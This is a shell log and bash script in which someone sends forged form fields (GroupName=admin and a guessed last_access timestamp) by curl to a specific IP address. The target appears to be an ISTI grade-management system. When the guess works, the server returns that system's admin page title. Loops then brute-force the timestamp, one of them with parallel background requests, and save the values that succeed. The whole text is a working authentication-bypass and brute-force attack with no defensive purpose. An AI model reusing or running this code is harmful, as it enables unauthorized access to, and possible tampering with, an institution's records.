root@devphilo:~/DEPARTEMENT_TI# curl -s --data 'nom=0&prenom=0&mat=0&GroupName=admin&last_access=146709999&ipaddr=0&matulb=0&googlename=0&submit=0' http://193.190.75.122 | grep -Po "<title>.+</title>" <title>Document déplacé</title> root@devphilo:~/DEPARTEMENT_TI# curl -s --data 'nom=0&prenom=0&mat=0&GroupName=admin&last_access=1467099999&ipaddr=0&matulb=0&googlename=0&submit=0' http://193.190.75.122 | grep -Po "<title>.+</title>" <title>Gestion des points ISTI</title>
# #for i in {0..99}; #do # variable=$(printf "%05d" $i) ; # echo "variable = "$variable; #done # 12345 for i in {0..99999} do last_id=$(printf "%05d" $i) echo "14670"$last_id curl -s --data 'nom=0&prenom=0&mat=0&GroupName=admin&last_access=14670$last_id&ipaddr=0&matulb=0&googlename=0&submit=0' http://193.190.75.122 | grep -Po "<title>.+</title>" | grep -2 "Gestion des points" >> acces_possible done
for i in {0..999999} do last_id=$(printf "%06d" $i) echo "14670"$last_id (curl -s --data 'nom=0&prenom=0&mat=0&GroupName=admin&last_access=1467'$last_id'&ipaddr=0&matulb=0&googlename=0&submit=0' http://193.190.75.122 | grep -Po "<title>.+</title>" >> access) & done